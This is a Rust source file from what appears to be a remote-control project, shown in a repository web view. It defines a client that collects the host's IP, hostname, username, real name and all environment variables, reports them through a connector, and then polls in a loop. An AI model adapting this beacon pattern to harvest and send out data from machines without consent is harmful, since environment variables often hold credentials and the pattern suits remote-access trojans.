summaryrefslogtreecommitdiff
path: root/src/client/client.rs
blob: 9080cf13b0a9b9f710bf0fda28a25634a3f39307 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
use gethostname::gethostname;
use std::{thread::sleep, time::Duration};

use crate::connector::Connection;
use remote_control_rs::client;

pub struct Client<'a, C: Connection> {
    pub connector: C,
    inner: client::Client<'a>,
}

impl<'a, C: Connection> std::fmt::Display for Client<'a, C> {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        write!(
            f,
            r#"IP: {:?}
Hostname: {}
Device Name: {}
OS: {}
CPU Architecture: {}
Distro: {}
Desktop Environment: {:?}
Username: {}
Real Name: {}
Languages: {:?}
Environment Variables: {:?}"#,
            self.inner.ip, self.inner.hostname, self.inner.device_name, self.inner.os, self.inner.cpu_arch, self.inner.distro, self.inner.desktop_env, self.inner.username, self.inner.realname, self.inner.langs, self.inner.env
        )
    }
}

impl<'a, C: Connection> Client<'a, C> {
    pub fn new(connector: C) -> Result<Self, C::Err> {
        let c = Self {
            inner: remote_control_rs::client::Client {
                ip: connector.get_ip(),
                hostname: gethostname().into_string().unwrap_or_default(),
                device_name: whoami::devicename(),
                os: std::env::consts::OS,
                cpu_arch: std::env::consts::ARCH,
                distro: whoami::distro(),
                desktop_env: whoami::desktop_env(),
                username: whoami::username(),
                realname: whoami::realname(),
                langs: match whoami::langs() {
                    Ok(it) => Some(it.collect()),
                    Err(_) => None,
                },
                env: std::env::vars().collect(),
            },
            connector,
        };
        c.connector.init(&c)?;
        Ok(c)
    }

    pub fn enter_loop(mut self) -> ! {
        loop {
            sleep(Duration::from_millis(500));
            self.connector.tick();
        }
    }
}